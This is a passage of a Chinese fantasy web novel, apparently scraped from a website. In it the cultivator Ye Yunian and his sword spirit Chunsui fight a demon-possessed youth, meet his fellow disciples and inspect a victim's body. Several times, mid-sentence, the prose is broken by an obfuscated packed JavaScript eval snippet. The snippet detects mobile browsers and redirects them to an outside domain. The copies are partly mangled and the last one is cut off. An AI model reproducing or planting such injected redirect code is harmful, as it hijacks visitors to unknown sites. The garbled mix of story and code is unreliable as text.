可这回不像之前,它一转头,叶於年就从树上倒挂下来,单簇长发像猫尾巴一甩一晃,把它去路给挡了个结实。 被耍弄了一路的少年龇起牙,分明是凡人模样,牙齿却异常尖利,舌面还黏着未干的血肉碎屑,随着其说话掉落出来:“滚——” 同样正对着少年的姑娘喉中“谢”字还没来得及吐出,就被吓得失了魂,顾不上别的,死攥紧护符扭头就往外跑。 姑娘冲出去半丈远,叶於年才想起来提醒说:“护咒三百文,回头记得把钱送到长鸣剑山……” 压着声,少年发现,挡着自己的其中一凡人离远后,一路上让它颇为畏怯的气息消失了。 叶於年给出的护咒,是师尊专门写给他傍身用的。 没了护符的威慑,少年瞳孔缩成长条,四肢着地,朝前扑杀而来。叶於年后腰发力,重新将身体摆正,躲过一击。 可已然起杀念的魔岂会轻易放过他。倏忽一个大跳,少年腾空而起,本与常人无异的指甲转瞬变得尖利,发了狠地朝叶於年的命门挥来。 叶於年连忙将身子往后撤,一股香油味没入鼻息,他隐约觉得自己曾在何处闻到过类似的气味,可来不及细想,惊惧就先一步占据了他思绪的上风。 分明依照预判与少年拉开足足三尺,可利爪挥过时,他还是能感觉有无形之物堪堪从他的前胸擦过。 霎时仿佛死里逃生了一回,他心跳得厉害,神思却愈发清明。 少年身躯虽小,但爆发力惊人,直接通过指甲发力,将足有腰粗的树干折断,臂往上抬,以破斧之势朝叶於年抡了过来。 抡的位置稍偏左,叶於年刚想往右闪避,就感觉有人按着自己的后脑,将他直接往地上按去。 与此同时,还有椿岁实实落在他耳边一声着急的:“嗒昂意啾!” 叶於年反应极快,听到话音的瞬间,及时放弃抵抗,配合地手一撑地,身往下伏。 一阵风飞掠而过,阴寒刺骨,又很快被笼罩在他身上的清冽草木香所驱散。叶於年不自觉追着那香仰了仰身,后背贴上一阵冰凉。 是化形还算不得有多熟练的剑灵,在笨拙地用自己的身躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560219|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护着他。 “咚咙……”椿岁低低地漏出这么一声。 突然冒出个灵体碍事,导致一击落空,少年怒不可遏,猛然调转樟木轰然砸下。 然而这调转的动静太大,烟尘过后,椿岁和叶於年已各自一边闪躲开来。 此刻仰头往前,叶於年才明白椿岁为何要让他伏低。 少年的指甲深嵌入樟木,树刺间横生出弯刀状的血红晶体,依照其走势,若方才他当真往右躲,眼下肩膀估计就被穿透了。 一击不成,少年将樟木狠砸入地面,其断口的青紫汁液飞溅而出,仿佛裹挟着热浪,触地时发出“滋滋”沸响,泥面霎时被烧出一条条扭曲的裂痕,并从中露出樟树树根,咄咄逼人地朝两边袭去。 对叶於年来说,要躲开这玩意倒是不难,可剑灵就不一定了。他心一下悬起,急切地朝前追去,见剑灵虽手忙脚乱,但好歹躲开了攻势,心才落下几分。 “诶?”他哪来的衣服? 椿岁这次化形,居然好好穿上合身的衣服了。 叶於年神思错开一瞬,又马上回正,不多想就抄起地上的小石子,用力往少年身上砸,好以此来吸引其注意。 然而少年现下根本不搭理叶於年,直冲一身宽衣长袖的椿岁去。 椿岁好柔弱一剑,作为灵体,他身子轻是轻,可压根没剑主那灵活上窜下跳的本事,被追得满身狼狈,落到少年眼中,明显要好对付多了,自然想着要先解决他。 追逐间,那被叶於年踹进火圣堂的壮汉揉搓着将近散架的胳膊肩膀,骂骂咧咧跑出来,凶神恶煞地想讨要说法。结果一抬眼,就看见身披月色向他跑来的椿岁。 壮汉那被叶於年踢歪的嘴边挂着口涎,眼珠子根本没法从椿岁脸上挪开,呢喃道:“神,神仙,啊——有鬼啊!” 椿岁在距离壮汉几步之遥的地方,兀地偏过身,朝另外一边躲去,于是,那追在他身后,张着血盆大口的少年就这么毫无保留地忽然出现在壮汉面前。 “你,你,别过来!” 迎着壮汉的大声惨叫,椿岁的脚腕被魔气催生出的树根缚住,整把剑被一股蛮横的力往后拉。 他连忙一手撑地,另一手往后伸,试图扯断树根为自己解困。可刚转身,少年就杀意如洪地来到他跟前,让他避无可避。 椿岁目光一凛,握向树根的手毅然决然向上抬,掌心正准迎面锤来的樟木。 说时迟那时快,忽而一阵雷响,樟木火光大作。 少年的全副心思被椿岁吸引,以至于让跟在后头的叶於年得了机会,食指与环指一并,作行令状,将他来时顺手布下的小通雷符给催动了! 少年被火星灼得尖叫出声,癫狂间却没停下砸人的动作。 然而“砰”一声过后,它砸空了。 就在樟木上的血红晶体刺入椿岁手心的前一刻,剑灵凭空消失。 叶於年瞳孔一缩,旋即发现,火光中飘出一团半个巴掌大的球球。 球体是半透明的青玉池色,艰难地挂着块和他等大的净玉坠,仗着自己现在足够小一团,一路闪躲着火光和少年的胡抓乱挠,怂兮兮地飘到叶於年的手边,“啵”一下变回了长剑。 “呼——哈嘶瑟欸嗯哇咕。” 剑入手的瞬间,识海中响起剑灵的抱怨声,怪委屈的。 叶於年对椿岁的一通操作着实意外,但又很快接受了这一切,面上的表情没太大起伏,只暗自松了口气,顺势用并起的二指抚过椿岁剑身,安抚道:“意啾,咔呜。” 辛苦了。 5. 第五眼 断尾 灵火将被魔气蚕食的樟木燃烧殆尽,可惜小通符令终究太过弱小,并未对少年本身造成太多实际伤害。 它狂躁地甩开身上的火星,双目紧锁叶於年手中的椿岁,痛骂一句不知为何让人不能理解,无法记住,更无法复刻的话。 近似于传说里,天神所用之语。 有别于其他口说耳听的言语,此类话语依托神识间的灵力交流,唯有神灵能言听。 然而神灵之语不可能出现在入魔的少年口中,且光是听着这话都令叶於年感觉晕眩,晃神间,少年再度扬爪,戾气冲天扑来。 他赶忙大跳躲开,本打算先往外暂避锋芒,却瞥见一道人影直直冲他们的方向撞来。 说来奇怪,少年分明没理会过壮汉,可他却好像不知“死”字怎写,躲着樟木四散的火星,非得在叶於年与少年中间到处乱跑。 叶於年无声一叹,心想等这边事了得把人抓回来移送镇衙,暗暗记住壮汉的脸,再度躲开少年划向他脸侧的一爪,同时攀上圣火堂门前柱,借此将少年绕开半个身位,给壮汉腾出一条逃命的路。 可壮汉一点没领会到叶於年的苦心,大喊着“大侠救命”,非得往这边靠。 少年周身顿起阴风,攻势虽在叶於年身上落了空,可往他身边凑的壮汉却没那么幸运。 眼见少年的长爪即将劈头盖脸而来,壮汉还没来得及反应,“嗷”的一声,就被飞速跃过的叶於年给一脚再度蹬回了火圣堂内。 叶於年也因此动作受限,一时让少年得了机会。 “左!”椿岁急匆匆喊道。 未多作犹豫,叶於年身往左偏,可即便如此,还是着了少年的道,尖利的指爪隔空从他的右臂掠过,在其上留下四道细长伤口。 好不容易拉开距离,叶於年抬头就见少年眼睛眯起,漆黑的双眸里闪着精光,挑衅似的地用舌头舔食起指尖蹭到的血迹。 “坏!人!” 叶於年右臂上的血不住下流,滴入椿岁的剑柄,让他剑身发出一阵低鸣。 壮汉添乱的场景还历历在目,椿岁无师自通地明白了剑主口中所谓“坏人”的定义。 那是一种魂体健全,不会散逸煞气,却会让周围的事情变坏的存在。 一种他特别不喜欢,并且会为之生气的存在。 剧烈的疼痛让叶於年出了一身冷汗,前头少年跟没完没了似的又一次朝他扑来,他急忙翻身闪躲,伤口也因此被撕开了一点。 要死,七师弟怎么还没来。 叶於年没想到这句会成为完整的心音,被椿岁听懂了个“死”字。 “没有死!坏狐狸!” 椿岁声音低沉,显然先前差点被少年砸的怒火还没消,这会儿又被叶於年的伤给大添了一把柴,烧得更加旺盛了。 “断它尾!”椿岁生气道。 尾?虽然椿岁告诉过叶於年,眼前少年是狐狸,可他双眼所见,对方完全是人形,哪里来的尾巴? 像是能听到他心中疑问,椿岁又道:“我能看。” 世间生灵皆有魂骨皮构成,其中魂才是根本。妖化人形,尾巴虽隐而不现,但并不是真真消失,顺着其躯体散逸的灵流,椿岁能清晰“看见”其尾所在。 本该净白的狐尾被魔雾所笼,仿若被囚困在烈火中的弱小生灵,在惨叫,在哀恸,在叩问为何世间悲苦至此。椿岁觉得难受,又不明白自己在瞎跟着难受个什么劲。 “听我的。”椿岁定神道。 少年的人形不过是幻化而成的,实际上它并不太会像凡人一般依靠双腿稳健地直立行走,它更偏向四肢扑杀,以及利用其长尾来保持平衡。 断掉其尾,虽不一定能就此将它诛杀,但可以保证短时间内,它行动困难,没法再肆无忌惮地袭击他们。 依剑主所教,捆在衣服上的玩意叫“腰带”。 椿岁开口道:“‘腰带’下四指为根,根后七指为节,可断。” 叶於年暗自重复了一遍椿岁的话,顺着其所说往少年身后望去,在他眼中依旧是空无一物,可他还是定定答应道:“好。” 得了回应,椿岁满心思等剑主与他共战。 结果呢? 故事重演般,叶於年躲开少年猛击的同时,十分利索地把剑收回鞘内,然后十分自然地拔出了他那把该死的腰刀。 又来! 不是收回去了吗?怎么又拔了? 不过是区区一柄又短又小的凡铁,也没特别的地方,就刻了几句灭灵咒,值得这么宝贝吗? 我也可以祛祟灭灵的呀。 椿岁的心音和叶於年方才一样,冷不丁地冒出,但组合的字太复杂,速度又太快,叶於年明显没听清,不由分神问道:“嗯?” 也是因这一分神,穷追不舍的爪子差点又一次挠入叶於年的小臂。 椿岁被吓得一激灵,再不敢随便嘀咕。灵识扫过周遭,发现少年魔气聚在一起,却并未悬于身旁……椿岁忙道:“上树!” 叶於年反应极快,在听到声音那一刻便依言攀上身旁另一棵樟树。 因动作太过迅猛,右臂伤口上的血又被压出几许,聚成血滴往下坠去,在触及地面的前一刻,就被无形之物蒸得不见踪迹。 椿岁也顺势往下望,见少年双瞳竖起,一副凝神聚气的情态,心想,它蓄力上前时,四肢应当保持着兽性的习惯,会前后爪交替撑地。 “下挂,刺左手。” 应着声,叶於年身体往前倒去,在完全坠落到地那一刻,仅用脚尖勾住树干,倒挂落地,手中腰刀不带迟疑地往少年手掌刺去。 少年显然没料到会有这么一着,慌忙撤开手,因此累得脚步未能一下稳住,辛苦聚起的魔气松散开来。 椿岁适时开口:“下地,刺喉!” 叶於年依言翻身落地,还未站稳就已抬手往少年的喉咙刺去,逼得它连连后退。 后续少年所有的动作都像这样,被一次又一次的伪攻所牵制。椿岁似乎总能预判其下一步,并满心怨念地给予叶於年指示。 是的,满心怨念地。 剑主的身很稳,但用的不是他。 剑主的力很足,但用的不是他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560220|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >剑主下手很准,但用的不是他。 为什么? 为什么! 椿岁声声质问不敢说出,只能窝囊地继续帮剑主指引方位。 虽因言语不通而导致指示无法被传递清楚,但叶於年有自己的直觉,听不懂时也能斟酌着往合适的地方逃去。 他们一时配合无两,几个来回后,少年意识到叶於年的攻击针对的都是自己化出来的人身,一切的防护与回击也就自然而然地转向保护身体,没再多留心去藏身后的尾巴。 而这也是椿岁想要的。 叶於年旋身躲过少年又一攻势。 椿岁:“刺肩。” 叶於年依言,反手向少年的右肩刺去,逼得少年侧身闪躲,却没想到这不过是虚晃一枪。 “东南一指,断!” 随着椿岁声落,叶於年将手中不过三寸长的腰刀回正,准确又狠厉地刺入少年腰后看似空空如也的尾节。 分明没有刺中任何东西的实感,但落刀那一刻,叶於年清晰听见少年喉咙里发出难以抑制的惨叫,为他印证椿岁口中说的“尾”是真实存在的。 伴随凄厉惨叫声而来的,还有少年回身朝他劈来的一爪。 仅是痛苦中的下意识回击,错漏百出,叶於年想要闪躲并不难。 他往后退开,心脏剧烈跳动着,额边渗出汗珠,嘴角却不由自主地向上扬了几分。 这种能够予以回击的缠斗,无疑是畅快的。 他享受这种感觉。 “断,了,吗?”叶於年问。 “哼。”椿岁应得飞快。 哼是什么意思? 叶於年不解。 可不等他追问,少年那头出现了新的状况。 惨叫过后,它便一反先前穷追不舍的情态,站在原地低垂着脑袋,开始浑身抽搐,身上显现出肉眼可见的黑气,恍若飓风以它为中心旋起,掀起一阵尘雾。 四周的香油味愈发浓郁,叶於年被迷了眼,不敢贸然再进。好不容易看清眼前景象,少年已彻底不成人形。 它长出一条肉眼清晰可见的……蛇尾? 尾椎与腰腹自然衔接,变成又细又长的一条,密集附着有火红的鳞片。 叶於年心问:“狐狸?” 椿岁回应他的依旧是一声:“哼。” 哼到底什么意思? 叶於年不解。 他想翻出册子来对照着解读,但场合并不允许他这么做。 叶於年抿了抿唇,正想直接问,便有剑光从他眼侧闪过,直指妖物,不虞将萦绕其周身的黑雾破开。 “大师兄,你管这长长一条,浑身没毛,还长着鳞片的东西叫狐狸?”清脆的嗓音接着剑光从身后响起。 说话的并不是传音符联系上的七师弟。 叶於年寻声望去,师弟买一送一,头上戴着一顶帷帽的六师弟也来了。 他身姿轻盈秀美,话却不怎么讨人喜:“你瞎的吧!” 叶於年没给予他任何生气的反应,兀自收起腰刀,后退了几步,轻声道:“好慢。” 6. 第六眼 借灵 叶於年的声音很小,但架不住紧随而来的七师弟耳力极好:“抱歉,找路费了些时辰。” 叶於年:“啊。” “啊什么!我们又不像你,辟不了谷得时不时到镇上来……” 六师弟上来就噼里啪啦申辩一通。手中剑诀一起,压根不给少年喘息的机会,迎其命门夺去。很快发现,这人身蛇尾的妖物挪不开步子,对付起来很是轻松。 他又飞快瞥了眼叶於年血淋淋的右手,皱眉嘀咕道:“怎么还能被瘸子伤到。” 叶於年没打算解释妖物是怎么瘸的,躲到火圣堂堂柱边上,盘坐在地,从腰包里摸出布条、药和随身携带的册子,一边给自己包扎伤口,一边尝试和剑灵说话。 他视线先是落在六师弟身上:“‘六师弟’剑名‘负霜’,人名‘童’……” 叶於年想了想,一下子没能想起来师弟的名字,于是开嗓问:“六师弟,你叫什么名字?” 六师弟被这一问,一剑落空,险些脚下一滑。他难以置信道:“你不知道?” 叶於年实诚地“嗯”了。 同为掌门的亲传弟子,他们在主峰上各有互不挨着的小院,除上课外不怎么打照面,关系又算不得有多亲近,且除了刚入门时说过名字,往后皆以师兄弟相称,叶於年觉得不记得也属正常。 六师弟气不打一处来,压根不想回答,还是七师弟帮忙道:“叫童翦忆。” “你回答他干嘛!”童翦忆瞪了七师弟一眼,“不对,你怎么不问小如名字,单问我的?” “巫如,好记。” 叶於年说完,用牙咬着布条的一头,一边熟练地给伤口包扎,一边暗暗继续在心里为椿岁介绍:“‘七师弟’,剑名‘吹骨’。” 无论负霜还是吹骨,都是不可多得的好剑。 负霜剑身修长,自带一股凛然寒气,行剑之时似能掀起远山雪雾;而吹骨正如其名,自柄及身皆似白骨,其上布着如裂纹般的毒槽,此时还有一条小巧的红蟒攀附其上。 在这两剑的夹击下,方才将叶於年弄得焦头烂额的少年压根没有还手之力。 椿岁听了介绍,又“哼”了一声。 怎么还是哼?叶於年垂眸看向摊开在腿上的册子,并没有哼声对应的字句。只好改去琢磨着问:“你‘衣’……” 他想了想,决定还是用椿岁方式询问,于是学着道:“咩?” 剑灵不理会自己,但不哼声了,叶於年再接再厉,不依不挠:“咩?” “借灵了。”椿岁熬不住,冷着声甩出回答,同时剑柄上悬着的净玉也在他回答间无风自动。 叶於年把净玉“卖”给他后,又帮忙将其系到他身上当剑穗。 人类不比兽类,全身上下除却脑袋都没有浓密的毛发,椿岁想,估计就是因为这个,才需往身上罩衣裳保暖。 虽说剑体无需保暖,但剑主明显很看重这个,别说是不穿了, “不好好穿”都不让,来到人间就要守人间的规矩,他只能勉为其难地想办法去迎合一二。 衣饰不是他灵体的一部分,化形时没法单凭自身幻化。直到方才情急,他才灵光一现,往这净玉借灵拟出衣饰。 近似于妖灵,物灵有其固定的自生形态,故而按理说,不同物件被借灵幻化出来的模样,也会根据其自身特点而有所不同。 椿岁想到这就有点跃跃欲试,可心里的火还没灭,他暂时不想说话,于是自顾自地又“哼”了一声。 他感觉叶於年将把他横放到腿上,同时用尾指轻叩了两下净玉,问:“喜欢?” 椿岁下意识不太想承认,沉默了好一会,才别扭地吐出一句:“喜欢又能怎样?” “为你‘买’。” 哪怕是心音,叶於年说话也总是掺不上情绪,听着冷冰冰的,居然莫名将椿岁的心火磨灭几分。 叶於年听不见剑灵的回应,又轻轻敲了一下剑身,结果把剑灵的一通嘀咕给敲出来了。 话又多又密,像在说服自己什么,好一阵才清晰地吐出一句:“你不用我。” 叶於年一顿,说:“我……剑,用,不,好。” “用刀就好了?”椿岁高声质问,“你不是剑修吗?” “为什么不用我!” 叶於年迟疑道:“非,说,不,可?” 有什么不能说的?难不成他还能比不上那破刀了? 椿岁再度抬高声:“说。” 恰逢此时,被叶於年连踹两脚的壮汉又醒了过来,还没搞清事态,就跌跌撞撞扶墙出来。脚下刚迈出火圣堂,眼前就闪现一道剑光,不偏不倚地冲他劈来。 叶於年开口:“明,否?” 椿岁剑刃实打实落到壮汉手臂上,今日本就惊吓过度的壮汉,顿时一口气没提上来,啪嗒倒地,翻了翻白眼又晕死过去了。 然而,其实只要定神一看就会发现: 椿岁连个皮口子都没能给人破开。 一把完全未开刃的剑,如何能用来断尾? 所以,在方才那样的情况下,椿岁还真是比不上那腰刀。叶於年心再怎么偏,也得分清轻重缓急的。 剑灵静了一会儿,爆发出惊天地泣鬼神的:“哼!!!” 叶於年被震得眼睫一颤,而后他再怎么尝试和剑灵说话,剑灵别说像之前那样咩咩的羊叫了,连猪哼哼声都没有,完全将自己封闭起来了。 童翦忆和巫如解决完少年,回身望去。大师兄面容冷酷,脚边倒着一个臼头深目的壮汉,一手持剑,另一手举着本册子就着月色研读。 大师兄在长鸣剑山,是公认的嗜剑如命,对剑痴迷得让同为剑修的他们时常恐疑其患有脑疾。 明明天赋薄如蝉翼,身上却一股子拼命劲,也不知道在图啥,日复一日地练着怎么都领会不了的入门剑法,一练就是一整日,好不容易歇息了,也还是会拿着各种晦涩难懂的典籍生啃。 即便如此,看见大师兄在这种场合都要偷着时间看书,还是会让人大受震撼。 当然,最值得注意的,还是大师兄那士别三日,当刮目相看的头发。之前见面的时候被劈掉一半,现在连另一半都短到肩了。 童翦忆收剑走近,拨开帷帽的挡纱,好奇问:“大师兄你头发……自己剪的?” 叶於年不甚在意:“嗯,好看吗?” “好看,”童翦忆答得飞快,想了想又觉得不对,改口道,“不好看!身体发肤受之父母,怎可随意剪之?你到底怎么想的?” 叶於年想了想,认真回答道:“挺方便舒服的。” 语气听着还有点推荐的意味在。 “我问的是这个吗!”童翦忆整个人差点跳起来。 见情况不妙,一旁的巫如连忙笑兮兮转移话题:“说起来,大师兄怎么知道我们在这儿的?” 按理他和六师兄溜出山门,应该没人发现才对。 “街上看见了。”叶於年回答。 童翦忆:“哈?” 其实最开始是椿岁先注意到的。剑灵异常敏锐,哪怕人潮涌动,他也能一下从中察觉出自己曾接触过的气息。 那会叶於年还费了工夫去给剑灵解释“师弟”是干什么用的,不过没仔细介绍具体的人。 或许是因为人在发现宝藏时,第一反应总是先想办法藏起来,所以叶於年还不想透露剑灵的存在,他简略道:“不想寒暄,所以没打招呼。” 想和稀泥才扯这话题的巫如:“……” 童翦忆秀美的脸当即变得狰狞:“谁,谁稀罕和你打招呼!” “嗯。”叶於年平静道。 童翦忆翻出白眼,好不容易自己给自己捋顺气,用拇指指向地上鼻青脸肿的壮汉,问:“算了,这人又是做什么的?是被那妖物打成这样的吗?不像呀。” “我打的,”叶於年即答,“是淫贼。” 童翦忆脸色一变,对着那壮汉一“呸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560221|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,往上补了一脚,骂:“晦气东西。” “烦请六师弟代我将他移送镇衙,”叶於年趁机安排道,“还有七师弟,麻烦辛苦走一趟,将这狐……魔物押送回门中,请师尊处置。” “什么魔物?不过是只鳞族。” 童翦忆念念有词:“这几天师尊有念说鳞族这群蛇啊鱼啊一个个都疯了,以为族内出了个大妖就可以为所欲为,到处生祸害,要我说,就该先下手为强,把它们都给灭……” 他说着,视线和缓缓从吹骨爬到巫如脖子上的红沙蟒对上。 这条红沙蟒名叫魏先生,是条百乐蛇,说白了也是他口中的鳞族,只不过打自出生就不与其他鳞族共居,反而一直跟着巫如。 魏先生朝童翦忆吐了吐信子,他心一下就虚了,缩脖子解释道:“……我没有说魏先生的意思。” 巫如和善笑道:“没事的,它又听不懂。” “你们没看见它身上有别的尾巴吗?”叶於年忽然开口问。 “什么尾巴?就一条红色蛇尾呀。”巫如不解。 不是狐狸,也不是魔……师弟们没坑骗他的必要,但叶於年也不认为他家剑灵在乱说。 “不对,我押这淫贼,小如押那妖物,那你做什么?”童翦忆反应过来。 “我回它伤人处善后。” 现在剑灵不理人,许多事情又都不明不白,无论如何,叶於年总归要折回去查验那具被咬头颅的尸体是否有异状,查明妖物伤人的缘由,顺道安抚一下受惊的人。 “为什么不能是我去善后?”童翦忆不满。 叶於年略有迟疑,问:“能说吗?” 童翦忆反问:“有什么不能说的?” 叶於年点了点头,说:“你笨。” 话音刚落,旁边的巫如便没能忍住扑哧笑出声来。 众所周知,长鸣剑山掌门座下的六弟子是个只有脸蛋和剑法出众的笨蛋,脑筋经常转不过弯,做事粗枝大叶,又没多少耐心。凡是让他去处置打架以外,需要动用脑子的事,基本都会办砸。 当然,知道是一回事,大家伙顾全体面,一般是不会摊开来说。因此能在童翦忆面前如此干脆道明的,叶於年是第一个。 童翦忆脸上青红紫绿蓝好生精彩,甩手放下帽纱,几个深呼吸过后,居然一点反驳的意思都没有,只争辩说:“那为什么不能是小如去?” 巫如接道:“我不太合适问话啦。” 说话间,一条两指宽的蜈蚣从他口中爬出,瞬间占据他半张脸。 巫如体质特殊,身上有各种毒物乱爬。同门相处习惯了倒还好,可到别人面前,着实过于惊悚。 也正因此,他平常鲜少外出,今日是童翦忆非说除夕佳节得好好玩玩,才被拉来永古上镇来闲逛。而他们这一路,已经吓着不少人了。 童翦忆妥协道:“行吧。小如先回去,待我料理完这家伙便折去寻你。” 他扫了眼叶於年的伤处,语气生硬:“若有变故,早些传讯于我。别再弄其他伤出来,免得被师尊看见了,倒过来责怪我们没保护好大师兄你。” 巫如:“师尊何曾因为这事责怪过人?” “我这是防患未然!”童翦忆急忙辩解道。 他心思一转,见叶於年答应正要离开,着急开口问:“对了,大师兄,你记得二师兄叫啥吗?” “百里……燹[2]生。”叶於年笃定道。 童翦忆闻言,心满意足一笑,释然道:“是百里昶,燹生是二师兄的剑名。” 叶於年点头表示知道了。 至于有没有真记住,这很难说。 叶於年折返回河岸,血渍依旧在水上蔓延,但出事的画舫已然靠岸,周边围了不少看热闹的人,吵吵闹闹的都在谈论方才发生的事。 叶於年走近时,还在努力尝试和椿岁说小话。 “没,嫌,你,”他低声道,“我,也……不,厉,害。” 7. 第七眼 灵盲 甚至仅仅说是不厉害,已经算自夸了。 叶於年未入门前,就很清楚自己是个根骨奇差的庸才,根本没有修行的资质。 以一身凡骨擅闯天家,在灵气极盛的长鸣剑山修行八年,别说聚灵施法,就连最基础的辟谷都没法做到。 纵然将剑法练得与其他人别无二致,纵然将众多剑术典籍背得滚瓜烂熟,他依旧没法真正使出任何一式,更别说领悟剑意。剑在他手与刀斧无异,剑招由他使出,永远会是照葫芦画瓢的花拳绣腿。 他与同门明明生活在一处,彼此间却像是隔了一道无形的墙,极为严厉地向他言明,何为仙,何为凡。 叶於年也不知,自己究竟能否算作剑修。 师尊曾劝他看开,说努力是好事,可当他的努力终究只能像猴子捞月般徒劳无功时,他便只能成为一个笑话,这又是何苦呢? 执着无用,许多事并非单凭努力就能改变的,以他的资质,硬要求仙问道,或许穷极一生也终无所得。还不如只将长鸣剑山当作避世桃源,简单安稳、无灾无祸、闲散自在地在此间度生。 偏生叶於年并非知足常乐的性子,总不太信命,所以一次次尝试走入剑墟,又一次次无所得,直到…… 椿岁在剑山中为他鸣动。 像从天而降的大礼,他高兴都来不及,又怎会嫌弃呢? “可,否,不,生,气?” 一切只能归结于他太过弱小,若换成其他同门,又何须那般瞻前顾后,多得是手段去将邪魔降服。 “我,甚,是,珍,视……” 叶於年缓缓说着,本没多指望剑灵能回应,可往前没走几步,路就被挡了。 “你。” 椿岁不声不响又化为人形,二话不说把叶於年的脸捧起来,往前凑,直至他们额头相抵才肯罢休。 叶於年被剑灵忽如其来的阵仗弄懵了。 剑灵的眼睛很长,内尖而深邃,外细而略弯,眼尾微微上翘,自带几分迷离,是一双很是标致的桃花眼。微垂时似含秋波,楚楚可怜,抬眸时却又难掩锋芒,令人心畏。再加上,身量实在高挑,比叶於年还要高出半个头来,携着一股无名的压迫感,靠得太近时,让他心脏紧缩,一时不知反抗,唯有顺从。 叶於年不由心问,剑灵是怎么懂得把自己化成这犯规模样的,又想起向玉借灵的说法,椿岁剑身本就美,化形如此,似乎也合情合理。 “‘六师弟’说的‘瞎’是看不见?”椿岁问。 说到底并非正儿八经的活人,纵使凑得这么近,说话时也不会有呼吸扑到脸上。但脸被握住,额头也被抵着,叶於年还是觉得自己被椿岁冰凉的气息给缠住了。 叶於年应声:“是。” 椿岁直言不讳:“你是‘瞎’的。” 叶於年盯着眼前这张在他看来无论做什么错事都能被原谅的脸,轻叹一声,承认道:“嗯。” 并不是凡人意义上的瞎,而是作为修士,叶於年他看不见任何灵流。 正因看不见,他自然无法引灵入体,无法真正感受到灵力的存在,无法识察剑招之间的差别,纵使模仿得完全没有一丝偏差,也空有其形,而触及不了其本。 像他这种情况,其实有个更体面的说法: 叶於年道:“我,天,生‘灵盲’。” 剑灵压根没觉得这是大问题,他只心道难怪剑主先前认不出他,原来不是他们之间的命契出了毛病,只是叶於年看不见罢了。 他带着一种异于常人的乐观,嘴角上扬,温着声说:“那正好,我不‘瞎’。” “我……什么都能看见。”剑灵认真道。 “夭寿咯,这边死着人呢你们搁这亲亲我我!” 忽然一道沾满鄙弃味的声音插了进来。 “还搞的男风,真是老天喇了屁/股眼,那些天天将风化挂嘴边的夫子都上哪了,这才叫有伤风化……” 叶於年眼睛睁了睁,立即往后退了一步,与椿岁拉开距离。 椿岁:“咩?” 顺着骂声望去,他们边上站着一位六旬老太太。 剑灵懵懂不知避讳,可叶於年不一样。他躬身朝那老太太道了声“失礼”,就推着椿岁远离这块地方。 画舫周围远看围了一圈凑热闹的人,却没多少真敢靠近的,生怕这年末的晦气会传到自己身上。 叶於年倒是不避讳,只不过刚凑近岸口,就被小吏给拦了。 除夕夜被拉出来当差,难免生怨气。他们语气算不得好,甚至没给个正眼,摆手道:“滚远点,有人在这被杀了,凑那么近想死呢。” 叶於年解下蹀躞上扣着的腰牌,平和道:“我乃长鸣剑山大弟子。此间伤人者为妖邪,现已伏诛,并由我派弟子押回长鸣剑山,我来此是为查明情况,以防再生变故。” 一见腰牌,一听这话,小吏顿时改了态度,腆着笑脸把叶於年给迎进去,又冷着脸把椿岁给拦了:“闲杂人……” 人到一半没能人下去了。椿岁一看就不似凡夫俗子。 “闲杂?” 椿岁声如清泉,冷眼看人时自带气势,一下便能将小吏给瞧怂了劲。只有叶於年知道,剑灵下一刻就要开始鸡同鸭讲了,忙探半个身子回来,捞住剑灵的手腕。 “我的。” 叶於年扔下话,把剑灵往里带,过后还是不放心,将蹀躞上最长的带子放入剑灵手心。 椿岁低声重复了一句今音的“我的”,听话地握了一会儿,又自作主张地改去握住了叶於年脑袋后边那单一簇长长的发尾。 叶於年察觉了剑灵的小动作,没多想就由着他去了。两人一前一后去到船头,那被咬掉半个头的中年男人已然被盖上了白布。 叶於年将其掀开。男人的唇角有乌紫的压痕,不像术法造成的,更像是人粗暴直接地用手堵死其口舌,阻止其求救。头骨则是被一口一口咬碎的,破出洞后,那妖物还将其脑子掏出,叶於年追它时,远远看见它边跑边将红肉往嘴里塞,像只饿惨了突袭伤人的野兽。 又听小吏在后边说,他们来之前,仵作验过了,说人身上没别的异样,就肚皮上有块巴掌大的疮。 叶於年依言将男人的上衣撩起看了眼,过后又放下,重新将白布重新盖上,转头就撞上椿岁直勾勾的视线。 他自己是早已习惯类似的恶心场面,所以对此无甚感觉,可剑灵未必,于是他放轻声音,问:“怕,否?” “为何要怕?”椿岁反问。 在他的理解里,“怕”是指他物对自身有所克制,会带来威胁。 相比先前的鞭炮以及眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 